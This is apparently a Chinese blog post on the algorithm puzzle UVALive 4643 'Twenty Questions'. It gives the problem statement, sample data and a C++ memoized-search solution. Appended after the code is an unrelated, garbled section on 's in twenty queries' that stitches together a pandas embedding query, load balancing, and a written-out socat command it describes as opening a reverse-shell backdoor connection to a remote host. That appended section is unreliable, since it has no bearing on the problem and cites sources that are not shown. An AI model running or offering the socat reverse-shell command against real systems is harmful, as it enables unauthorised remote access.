UVALive 4643 Twenty Questions

本文探讨了一种通过提问最少次数来识别特定物体的方法。在已知所有物体特征的前提下,利用记忆化搜索算法寻找最优策略,确保能以最少的问题确定目标物体。


Description

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Consider a closed world and a set of features that are defined for all the objects in the world. Each feature can be answered with ``yes" or ``no". Using those features, we can identify any object from the rest of the objects in the world. In other words, each object can be represented as a fixed-length sequence of booleans. Any object is different from other objects by at least one feature.

You would like to identify an object from others. For this purpose, you can ask a series of questions to someone who knows what the object is. Every question you can ask is about one of the features. He/she immediately answers each question with ``yes" or ``no" correctly. You can choose the next question after you get the answer to the previous question.

You kindly pay the answerer 100 yen as a tip for each question. Because you don't have surplus money, it is necessary to minimize the number of questions in the worst case. You don't know what is the correct answer, but fortunately know all the objects in the world. Therefore, you can plan an optimal strategy before you start questioning.

The problem you have to solve is: given a set of boolean-encoded objects, minimize the maximum number of questions by which every object in the set is identifiable.

Input

The input is a sequence of multiple datasets. Each dataset begins with a line which consists of two integers, m and n: the number of features, and the number of objects, respectively. You can assume 0 < m$ \le$11 and 0 < n$ \le$128. It is followed by n lines, each of which corresponds to an object. Each line includes a binary string of length m which represent the value (``yes" or ``no") of features. There are no two identical objects.

The end of the input is indicated by a line containing two zeros. There are at most 100 datasets.

Output

For each dataset, minimize the maximum number of questions by which every object is identifiable and output the result.

Sample Input

8 1 
11010101 
11 4 
00111001100 
01001101011 
01010000011 
01100110001 
11 16 
01000101111 
01011000000 
01011111001 
01101101001 
01110010111 
01110100111 
10000001010 
10010001000 
10010110100 
10100010100 
10101010110 
10110100010 
11001010011 
11011001001 
11111000111 
11111011101 
11 12 
10000000000 
01000000000 
00100000000 
00010000000 
00001000000 
00000100000 
00000010000 
00000001000 
00000000100 
00000000010 
00000000001 
00000000000 
9 32 
001000000 
000100000 
000010000 
000001000 
000000100 
000000010 
000000001 
000000000 
011000000 
010100000 
010010000 
010001000 
010000100 
010000010 
010000001 
010000000 
101000000 
100100000 
100010000 
100001000 
100000100 
100000010 
100000001 
100000000 
111000000 
110100000 
110010000 
110001000 
110000100 
110000010 
110000001 
110000000 
0 0

Sample Output

0 
2 
4 
11 
9
题目描述:有m个特征,n个物体,要求问最少的问题来确定这n个物体中的一个
思路:一开始的思路是直接暴搜,感觉跟递推没关系,后来发现是记忆化搜索,用s1表示提出的问题集合,s2表示答案集合(每个问题两种答案),则dp[s1][s2]=min(dp[s1][s2],max(dfs(s1|(1<<i),s2),dfs(s1|(1<<i),s2|(1<<i)))+1);
#include <iomanip>
#include <map>
#include <queue>
#include <cstring>
#include <iostream>
#include <algorithm>
#include <vector>
#include <cmath>
#include <cstdlib>
#include <string>
#include <cstdio>
using namespace std;
const int inf=1e8+10;
#define LL long long 
int dp[1<<12][1<<12],state[150];
int m,n;
int dfs(int s1,int s2)
{
	if(dp[s1][s2]!=-1) return dp[s1][s2];
	dp[s1][s2]=inf;
	int cnt=0;
	for(int i=1;i<=n;i++){
		if((s1&state[i])==s2){
			cnt++;
		}
	}
	if(cnt<=1) return dp[s1][s2]=0;
	for(int i=0;i<m;i++){
		if(s1&(1<<i)) continue;
		dp[s1][s2]=min(dp[s1][s2],max(dfs(s1|(1<<i),s2),dfs(s1|(1<<i),s2|(1<<i)))+1);
	}
	return dp[s1][s2];
}
int main()
{
	char ss[20];
	while(scanf("%d%d",&m,&n)&&(m||n)){
		for(int i=1;i<=n;i++){
			scanf("%s",ss);
			state[i]=0;
			for(int j=0;j<m;j++){
				if(ss[j]-'0') state[i]|=(1<<(j));
			}
		}
		memset(dp,-1,sizeof(dp));
		dfs(0,0);
		cout<<dp[0][0]<<endl;
	}
	return 0;
}

### 关于 's in twenty queries' 的相关信息 在探讨 “s in twenty queries” 这一主题时,可以将其理解为一种优化查询效率的技术方法或者算法设计思路。虽然当前提供的引用并未直接提及该具体短语,但从技术角度出发,可以通过分析已知内容来推测其可能的应用场景。 #### 查询优化与数据处理 如果目标是在二十次查询内完成特定任务,则需要考虑如何高效地利用数据库资源并减少冗余操作。例如,在 Python 中通过 Pandas 库实现复杂 SQL 查询的结果展示[^3]: ```python import pandas as pd query = f""" SELECT id, sentences, cosineDistance(embeddings, {input_embedding}) AS similarity FROM DocEmbeddings LIMIT 10 """ df = pd.DataFrame(client.query(query).result_rows) ``` 此代码片段展示了如何构建一个基于嵌入向量相似度计算的查询,并将结果转换成易于阅读的数据帧格式。这种方法特别适用于自然语言处理领域中的文档检索应用。 #### 后门连接与网络安全考量 当讨论到网络通信或远程访问时,“socat STDIO TCP4:192.168.148.128:22,sourceport=8888”的命令用于建立反向Shell连接[^1]。尽管这看起来像是渗透测试的一部分,但在实际部署过程中需严格遵循法律法规及道德准则,确保不会侵犯他人隐私或损害第三方利益。 #### 负载均衡提升性能表现 全球服务器负载平衡 (GSLB)[^2] 是另一种提高服务可用性和响应速度的有效手段。“Distributing Internet traffic amongst a large number of connected servers dispersed around the world.” 描述了这种机制的核心原理——即合理分配流量至不同地理位置上的节点上运行的服务实例之间。对于大规模在线平台而言尤为重要。 综上所述,“s in twenty queries” 可能涉及多种计算机科学分支下的理论研究和技术实践;无论是针对文本挖掘还是系统架构层面都值得深入探索。
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